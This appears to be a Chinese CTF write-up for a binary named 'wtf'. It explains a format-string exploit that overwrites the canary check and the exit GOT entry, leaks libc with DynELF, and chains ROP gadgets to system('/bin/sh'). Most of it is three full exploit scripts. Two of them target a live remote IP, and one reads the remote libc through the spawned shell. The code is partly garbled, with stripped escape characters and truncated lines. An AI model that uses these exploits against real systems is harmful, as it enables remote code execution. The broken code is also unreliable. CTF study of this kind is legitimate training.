zoukankan      html  css  js  c++  java
  • wtf

    WTF

    TOC

    第一个格式化字符串
    第一个感觉就是挺好用的
    利用格式化字符串可以用你的输入改写任意地址的内容,改写的地址和值都是你的字符串提供的。
    感觉和canary配合特别好。。。通过改写canary的就可以不断的触发canary,然后不断的跳转

    思路

    整个的思路是:
    首先利用第一个格式化字符串改写canary的值为main或者“leave message”的地址(这样就可以持续使用格式化字符串),然后触发canary,这样就不断进入循环,就可以一直输入字符串,为后面做准备

    在第一个格式化字符串的时候,还可以顺便泄露地址,一举两得

    然后,改写got表,改的是exit()的内容——这样在后面输入字符串的时候写一个%p就可以运行到exit()

    后面就有两种拿到shell 的方法了:

    • oneshot
      这个要靠运气,而且不一定成功
      就是直接把exit()的地址写为一个含有/bin/sh并且后面调用了execv()的地址

      就像这个样子
    • 构造ROP链
      把exit()的地址改成pop——ret的地址,然后在触发exit()的时候利用rop,先pop出原来的没有用的数据,ret到pop——rdi——ret的地址,把/bin/sh地址pop到rdi(64位下第一个参数寄存器)中,然后再ret到system

    关于利用格式化字符串改写某个地址:

    • $mhn
      m的值要自己去看
      从rsp开始依次是:6,7,8,9......
      m的值,取决于你在哪个地方写入的是你要改写的地址
    • 字符串的写法
    payload_change = '%.'+str(byte_dic[i])+'d'+'%9$hn'
    
    payload_change = '%%%dc'%(byte_dic[i])+'%9$hn'
    
    • 注意,一次不能写太大数
      所以有可能是只能用$hhn
      因为写入是靠%.宽度来完成的,如果太大了可能回传的数据太大,然后就断了,不推荐
    • 循环写入——这样可以完成一个64位的修改
    def change(io,target,new_value):
        byte_dic=[]
        for i in range(8):
            cur = new_value &0xff
            byte_dic.append(cur)
            new_value = new_value>>8
    
        for i in range(8):
            if byte_dic[i] ==0:
                continue
            io.recvuntil('msg:')
            #payload_change = '%.'+str(byte_dic[i])+'d'+'%9$hn'
            payload_change = '%%%dc'%(byte_dic[i])+'%9$hn'
            #payload_change += 'x01'*(0x18-len(payload_change))
            payload_change = payload_change.ljust(0x18,'l')
            payload_change += p64(0x601060+i)
            print 'byte_dic: '+str(hex(byte_dic[i]))
            io.send(payload_change)

    注意:

    got表

    改写的,泄露的都是got表项。。。
    每次都不记得

    sendline? send?

    这个要看接受的函数
    看接受函数判断结束的标志是什么

    一举多得

    先看代码

    payload=l64(0x601020)
    
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld'
    payload+='x00'*(0x18-len(payload))
    payload+=l64(0x601040)
    io.write(payload)

    在第一次输入name的时候,就输入我们要泄露的地址,然后在后面的格式化字符串的地方泄露对应地址的位置m
    其实直接在格式化字符串里面写也没有问题

    x7f的确定

    test=io.read_until('x7f')
    test=test[-6:]+'x00'*2

    这个x7f的确定是看有泄漏和没有泄露的对比,找到区别——泄露的地址要通过对比才能看到是在返回数据中的哪个地方

    PS: DynELF——泄露地址——在没有libc的时候

    //主函数
        try :
            d = DynELF(leak, libc_base )
            system_addr = d.lookup('system')
        except:
            return
    
    // leak函数
    def leak(addr):
        global r
        io=r
        if addr<=0x400100:
            return 'x00'
        io.recvuntil('msg: ')
        payload='%7$s^_'.ljust(8,'x00')
        payload+=p64(addr)
        payload=payload.ljust(0x19,'f')
        io.sendline(payload)
        dd=io.recvuntil('leave ')
        if dd.find('^_') !=-1:
            if dd.find('^_') ==0:
                print "cur->00"
                res='x00'
            else:
                res=dd[:dd.find('^_')]
        else :
            if dd.find('info')!=-1:
                raw_input('???')
            res='x00'
        return res

    DynELF函数
    反复执行leak函数,传入一个基准地址,这里传入的是 libc_base
    然后就会遍历got表,找到system——这个在没有libc的时候很有效

    代码

    我的代码

    #!/usr/bin/env python
    # encoding: utf-8
    
    from pwn import *
    
    proc_name = './wtf'
    proc_elf = ELF(proc_name)
    print proc_elf.checksec()
    
    context.log_level = 'debug'
    
    io = process(proc_name)
    print proc.pidof(io)[0]
    
    raw_input('debug')
    
    canary_addr = 0x601020
    libc6_read = 0x00000000000F69A0
    libc6_system = 0x0000000000045380
    libc6_binsh = 0x018C58B
    #libc6_pop2 =
    #libc6_
    
    pop2_ret = 0x400A81
    pop_rdi_ret = 0x400a83
    
    lib2_read = 0x00000000000EB6A0
    lib2_system = 0x0000000000046590
    
    
    def change(io,target,new_value):
        byte_dic=[]
        for i in range(8):
            cur = new_value &0xff
            byte_dic.append(cur)
            new_value = new_value>>8
    
        for i in range(8):
            if byte_dic[i] ==0:
                continue
            io.recvuntil('msg:')
    #        payload_change = '%.'+str(byte_dic[i])+'d'+'%9$hn'
            payload_change = '%%%dc'%(byte_dic[i])+'%9$hn'
            #payload_change += 'x01'*(0x18-len(payload_change))
            payload_change = payload_change.ljust(0x18,'l')
            payload_change += p64(0x601060+i)
            print 'byte_dic: '+str(hex(byte_dic[i]))
            io.send(payload_change)
    
    io.recvuntil('input your name:')
    io.sendline(p64(canary_addr))
    
    io.recvuntil('leave a msg:')
    
    payload = '%.'+str(0x08c5)+'d'+'%12$hn'+'%9$s'
    payload += 'x00'*(0x18 - len(payload))
    payload += p64(0x601040)
    io.send(payload)
    
    read_addr = io.recvuntil("x7f")
    read_addr = read_addr[-6:]+'x00'*2
    read_addr = u64(read_addr)
    print hex(read_addr)
    print '####################'
    #read_addr = u64(read_addr)
    print 'read addr :'+str(hex( read_addr))
    system_addr = read_addr + libc6_system - libc6_read
    print 'system addr: '+ str(hex(system_addr))
    binsh_addr = read_addr + libc6_binsh - libc6_read
    
    target = 0x400740
    change(io,target,pop2_ret)
    
    io.recvuntil('msg:')
    payload3 = '%p'
    payload3 =  payload3.ljust(0x8,'l')
    payload3 += p64(pop_rdi_ret)
    payload3 += p64(binsh_addr)
    payload3 += p64(system_addr)
    payload3 = payload3.ljust(0x20,'l')
    
    io.send(payload3)
    io.recvuntil('info?')
    io.interactive()
    

    simp1e

    #coding:utf-8
    from pwn import *
    #__author__='simp1e'
    from pwn import *
    import struct
    import binascii
    PROC_NAME='./wtf'#PORC_NAME
    proc_elf=ELF(PROC_NAME)
    print proc_elf.checksec()
    context.log_level = 'debug'
    for i in proc_elf.libs:
        if i.find('libc.so.6')!=-1:
            LOCAL_LIBC_PATH=i
    L_LIBC=ELF(LOCAL_LIBC_PATH)
    
    rop_call_addr=0x4014A0
    rop_pop_addr=0x4014B6
    got_atoi=0x601CD0
    plt_puts=0x601c90
    plt_rea=0x0400760
    offset_atoi=0x36E70
    got_read=0x601CA8
    glpt=0x06020a0
    def leak(addr):
        global r
        io=r
        if addr<=0x400100:
            return 'x00'
        io.recvuntil('msg: ')
        payload='%7$s^_'.ljust(8,'x00')
        payload+=p64(addr)
        payload=payload.ljust(0x19,'f')
        io.sendline(payload)
        dd=io.recvuntil('leave ')
        if dd.find('^_') !=-1:
            if dd.find('^_') ==0:
                print "cur->00"
                res='x00'
            else:
                res=dd[:dd.find('^_')]
        else :
            if dd.find('info')!=-1:
                raw_input('???')
            res='x00'
    
        return res
    
    def change_qword(io,ptr,value):
        byte_dic=[]
        for i in range(8):
            cur=value &0xff
            byte_dic.append(cur)
            value = value >> 8
            print hex(cur)
        for i in range(8):
    
            if byte_dic[i]==0:
                continue
            io.recvuntil('msg: ')
            pay1='%%%dc'%(byte_dic[i]) + '%8$hhn'
            pay1=pay1.ljust(16,'l')
            print len(pay1)
            pay1+=p64(ptr+i)
            io.sendline(pay1)
    
    def ss(io,buf):
    
        io.recvuntil('msg: ')
        io.sendline(buf)
    
    def exp(io,choice,libc):
        ll=log
        ll.debug('get_libc_offset')
        for i in libc.search('/bin/sh'):
            offset_bin_sh=i
            break
        offset_system=libc.symbols['system']
        offset_one_function=libc.symbols['atoi']
        #make(io,'1'*24)
        ebp = 'x20x99x04x08'
        libc = 'x5cx98x04x08' #__libc_start_main
        retaddr1 = 'xa0x83x04x08' # write
        retaddr2 = 'xbex85x04x08' #pop;pop;pop;ret
        pop_ebp_ret = 'xc0x85x04x08'
        retaddr3 = 'x60x83x04x08' # read
        retaddr4 = 'xd2x85x04x08' #leave ret
        if choice==1:
            print "attach %d"%(proc.pidof(io)[0])
            raw_input('debug:')
        io.recvuntil('name: ')
        io.sendline('1')
        #---------------------------
        io.recvuntil('msg: ')
        pay1='%%%dc'%(0x8) + '%8$hhn'
        pay1=pay1.ljust(16,'l')
        print len(pay1)
        pay1+=p64(0x601021)
        io.sendline(pay1)
    
        io.recvuntil('msg: ')
        pay1='%%%dc'%(0xc5) + '%8$hhn'
        pay1=pay1.ljust(16,'l')
        print len(pay1)
        pay1+=p64(0x601020)
        io.sendline(pay1)
    
    #------------------------kill exit
        io.recvuntil('msg: ')
        pay1='%%%dc'%(0x8) + '%8$hhn'
        pay1=pay1.ljust(16,'l')
        print len(pay1)
        pay1+=p64(0x601061)
        io.sendline(pay1)
    
        io.recvuntil('msg: ')
        pay1='%%%dc'%(0xc5) + '%8$hhn'
        pay1=pay1.ljust(16,'l')
        print len(pay1)
        pay1+=p64(0x601060)
        io.sendline(pay1)
    
    
    #-------------------kil strstr
        libc_base=u64(leak(proc_elf.got['__libc_start_main']).ljust(8,'x00'))
        print 'libc_base -0x%x'%(libc_base)
        code_base=0x400000
        try :
            d = DynELF(leak, libc_base )
            system_addr = d.lookup('system')
        except:
            return
    
        print 'system->0x%x'%(system_addr)
        popret=0x400a80
        poprdx=0x400a7a
    
        change_qword(io,proc_elf.got['exit'],popret)
        change_qword(io,proc_elf.got['setvbuf'],system_addr)
        ss(io,'%10$lx'.ljust(8,'x00')+'/bin/sh'+'x00'*10)
        ddt=io.recvuntil('lea')[:-3]
        addrbinsh=int(ddt,16)+0x60-0xa8
        change_qword(io,0x601090,addrbinsh)
        ss(io,p64(poprdx)*3+p64(poprdx)[:-2])
        io.recv()
        raw_input('=============')
        io.sendline('$p$p$p$p'+p64(popret+4)+p64(0x400896)+p64(addrbinsh))
        io.interactive()
        cod='base64 /lib64/libc.so.6'
        io.sendline(cod)
        fp=open('remote.libc','w')
        while 1:
            data=io.recv()
            if len(data)<0x1000 :
                break
            fp.write(data)
        fp.close()
       # io.interactive()
    
    
    
    if __name__=='__main__':
        print 'Press 1 to test on local
    Press 2 to remote pwn
    Press 3 to test nc on local'
        try:
            choice=int(raw_input('input >').strip('
    '))
        except:
            print 'Press error,Choice default set to 1'
            choice=1
        if choice==1:
                    r= process(PROC_NAME)
                    exp(r,choice,L_LIBC)
        elif choice==2:
            r= remote('106.75.93.227' ,10000,timeout=80 )
            try:
                R_LIBC=ELF('./remote_libc')
            except:
                R_LIBC=L_LIBC
                print 'Alert! remote libc no found,default set to local libc'
            exp(r,choice,R_LIBC)
        elif choice==3:
            while 1:
                try:
                    r=remote('127.0.0.1',3333)
                    exp(r,choice,L_LIBC)
                except:
                    r.close()
    

    彭神

    from zio import *
    import struct
    target = ('106.75.93.227',10000)
    io=zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
    raw_input("go?")
    payload=l64(0x601020)                  
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld'
    payload+='x00'*(0x18-len(payload))
    payload+=l64(0x601040)
    io.write(payload)
    test=io.read_until('x7f')
    test=test[-6:]+'x00'*2
    read=struct.unpack("<Q",test)[0]
    print hex(read)
    syscall=read+0xe
    test=io.read(15)+
    print test
    stack=int(test,10)
    print hex(stack)
    payload=l64(0x0)                  
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload=l64(0x0400A7C) 
    payload+=l64(0x601040)  
    payload+=l64(0x200)     
    payload+=l64(stack-0x88)
        io.write(payload)
    payload=l64(stack-0x90)                  
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%12$n'
    payload+='x00'*(0x20-len(payload))
    io.write(payload)
    payload=l64(stack-0x88)                  
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%9$n'+'%.'+str(0x400a60)+'d'+'%12$n'
    payload+='x00'*(0x18-len(payload))
    payload+=l64(stack-0x8c)
    io.write(payload)
    rbp=stack-0xb8
    rbp=rbp%0x10000
    payload=l64(stack-0x1b0)                 
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%.'+str(rbp)+'d'+'%12$hn'
    io.write(payload)
    payload=l64(0x601020)                    
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%.'+str(0x0a1c)+'d'+'%12$hn'
    payload+='x00'*(0x20-len(payload))
    c2=raw_input("go?")
    io.write(payload)
    payload=l64(0x0400A7A)  
    payload+=l64(0x0)
    payload+=l64(0x1)
    payload+=l64(0x601040)
    payload+=l64(0x3b)
    payload+=l64(0x601b00)
    payload+=l64(0x0)
    payload+=l64(0x400a60)
    payload+=l64(0x0)
    payload+=l64(0x0)
    payload+=l64(0x1)
    payload+=l64(0x601b08) 
    payload+=l64(0x0)
    payload+=l64(0x0)
    payload+=l64(0x601b00)
    payload+=l64(0x400a60)
    raw_input('go')
    io.write(payload)
    raw_input('go')
    io.write('/bin/sh'+'x00'+l64(syscall)+'x00'*0x2b)
    io.interact()
  • 相关阅读:
    NOIP201208同余方程
    NOIP模拟赛 最佳组合
    NOIP模拟赛 拓展
    CF1253E Antenna Coverage(DP)
    LOJ6033「雅礼集训 2017 Day2」棋盘游戏 (博弈论,二分图,匈牙利算法)
    CF582E Boolean Function(DP,状态压缩,FMT)
    CF750G New Year and Binary Tree Paths(DP)
    Codeforces Round 596 题解
    AGC008E Next or Nextnext(组合计数,神奇思路)
    ARC082E ConvexScore(神奇思路)
  • 原文地址:https://www.cnblogs.com/volva/p/11813883.html
Copyright © 2011-2022 走看看